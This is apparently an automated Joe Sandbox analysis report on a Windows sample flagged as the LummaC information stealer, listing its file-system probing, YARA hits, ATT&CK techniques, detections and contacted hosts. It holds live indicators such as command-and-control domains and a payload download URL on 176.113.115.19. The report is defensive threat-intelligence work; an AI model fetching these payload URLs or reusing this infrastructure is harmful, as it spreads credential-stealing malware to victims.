Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 92F8.tmp.exe PID: 640, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 92F8.tmp.exe PID: 640, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0041E56C Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_0041E56C
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0041D896 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_0041D896
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0075E7D3 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_0075E7D3
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0075DAFD Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_0075DAFD

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	11 Process Injection	4 Obfuscated Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	22 Software Packing	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
chu4rWexSX.exe	58%	Virustotal		Browse
chu4rWexSX.exe	57%	ReversingLabs	Win32.Trojan.Generic
chu4rWexSX.exe	100%	Avira	HEUR/AGEN.1306978
chu4rWexSX.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ScreenUpdateSync[1].exe	22%	ReversingLabs
C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	22%	ReversingLabs

Source	Detection	Scanner	Label
https://post-to-me.com/mt	100%	Avira URL Cloud	malware
http://176.113.115.19/ScreenUpdateSync.exep	0%	Avira URL Cloud	safe
https://skidjazzyric.click/	0%	Avira URL Cloud	safe
https://skidjazzyric.click/api	0%	Avira URL Cloud	safe
https://skidjazzyric.click/api.db	0%	Avira URL Cloud	safe
http://176.113.115.19/ScreenUpdateSync.exed	0%	Avira URL Cloud	safe
https://skidjazzyric.click/Z	0%	Avira URL Cloud	safe
skidjazzyric.click	0%	Avira URL Cloud	safe
https://skidjazzyric.click/api/wq	0%	Avira URL Cloud	safe
https://post-to-me.com/track_prt.php?sub=	100%	Avira URL Cloud	malware
https://post-to-me.com/track_prt.php?sub=0&cc=DE	100%	Avira URL Cloud	malware
https://skidjazzyric.click:443/apil	0%	Avira URL Cloud	safe
https://post-to-me.com/	100%	Avira URL Cloud	malware
https://skidjazzyric.click:443/api	0%	Avira URL Cloud	safe
https://skidjazzyric.click:443/api;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
post-to-me.com	104.21.56.70	true	false	unknown
skidjazzyric.click	104.21.80.1	true	true	unknown
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
wholersorie.shop	false		high
https://skidjazzyric.click/api	true	Avira URL Cloud: safe	unknown
skidjazzyric.click	true	Avira URL Cloud: safe	unknown
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DE	false	Avira URL Cloud: malware	unknown
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://post-to-me.com/track_prt.php?sub=&cc=DE	chu4rWexSX.exe, 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
https://duckduckgo.com/chrome_newtab	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://post-to-me.com/mt	chu4rWexSX.exe, 00000000.00000002.3929242522.0000000000844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.19/ScreenUpdateSync.exep	chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://skidjazzyric.click/api.db	92F8.tmp.exe, 00000003.00000003.2899615273.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2899421952.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://skidjazzyric.click/	92F8.tmp.exe, 00000003.00000002.3111992330.000000000108B000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click/Z	92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.19/ScreenUpdateSync.exed	chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.19/ScreenUpdateSync.exe	chu4rWexSX.exe, chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.19/ScreenUpdateSync.exe5rjtejk5rytrrSOFTWARE	chu4rWexSX.exe, 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
http://crl.micro0	92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=	chu4rWexSX.exe	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click/api/wq	92F8.tmp.exe, 00000003.00000002.3111992330.000000000110C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click:443/apil	92F8.tmp.exe, 00000003.00000002.3111992330.0000000001072000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://post-to-me.com/	chu4rWexSX.exe, 00000000.00000002.3929242522.0000000000844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://skidjazzyric.click:443/api	92F8.tmp.exe, 00000003.00000003.2850712370.0000000001072000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000002.3111992330.0000000001072000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click:443/api;	92F8.tmp.exe, 00000003.00000003.2850712370.0000000001072000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.56.70	post-to-me.com	United States	13335	CLOUDFLARENETUS	false
176.113.115.19	unknown	Russian Federation	49505	SELECTELRU	false
104.21.80.1	skidjazzyric.click	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585801
Start date and time:	2025-01-08 09:41:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	chu4rWexSX.exe renamed because original name is a hash value
Original Sample Name:	d60499b26aaa1adfb80910660d8824e3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/7@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 77% Number of executed functions: 41 Number of non-executed functions: 254
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 172.202.163.200, 20.242.39.171, 52.149.20.212, 13.107.246.45, 20.190.159.0
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:42:30	API Interceptor	1x Sleep call for process: chu4rWexSX.exe modified
03:44:43	API Interceptor	5x Sleep call for process: 92F8.tmp.exe modified
03:45:10	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.56.70	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse
	rHrG691f7q.exe	Get hash	malicious	LummaC	Browse
	XIaCqh1vRm.exe	Get hash	malicious	LummaC	Browse
176.113.115.19	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
104.21.80.1	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	clientservices.sgoogleapis.observer/api/index.php
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	my.cradaygo.com/smmylet
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
skidjazzyric.click	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
post-to-me.com	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	104.21.56.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Swift-TT680169 Report.svg	Get hash	malicious	Branchlock Obfuscator	Browse	172.64.41.3
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://tom18860.s3.ap-northeast-1.amazonaws.com/%E6%9F%A5%E8%AF%A2%E6%96%87%E4%BB%B6.rar	Get hash	malicious	GhostRat	Browse	1.1.1.1
	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	104.21.80.1
	https://mitra-led.com/	Get hash	malicious	Unknown	Browse	104.21.96.1
	YOUR TV LICENCE STATEMENT.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.flamingoblv.com/bdAHAKrXFqXFQCYuPG6x8vSTVrU9FI7svGtQIOtbZGb5Zz82nKKGDoG-o7UnwphbBQK1zePMgTPfELKVecsIqQ~~	Get hash	malicious	Unknown	Browse	172.67.160.100
CLOUDFLARENETUS	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Swift-TT680169 Report.svg	Get hash	malicious	Branchlock Obfuscator	Browse	172.64.41.3
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://tom18860.s3.ap-northeast-1.amazonaws.com/%E6%9F%A5%E8%AF%A2%E6%96%87%E4%BB%B6.rar	Get hash	malicious	GhostRat	Browse	1.1.1.1
	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	104.21.80.1
	https://mitra-led.com/	Get hash	malicious	Unknown	Browse	104.21.96.1
	YOUR TV LICENCE STATEMENT.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.flamingoblv.com/bdAHAKrXFqXFQCYuPG6x8vSTVrU9FI7svGtQIOtbZGb5Zz82nKKGDoG-o7UnwphbBQK1zePMgTPfELKVecsIqQ~~	Get hash	malicious	Unknown	Browse	172.67.160.100
SELECTELRU	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	nYT1CaXH9N.ps1	Get hash	malicious	Amadey	Browse	176.113.115.131
	iy2.dat.exe	Get hash	malicious	XWorm	Browse	176.113.115.170
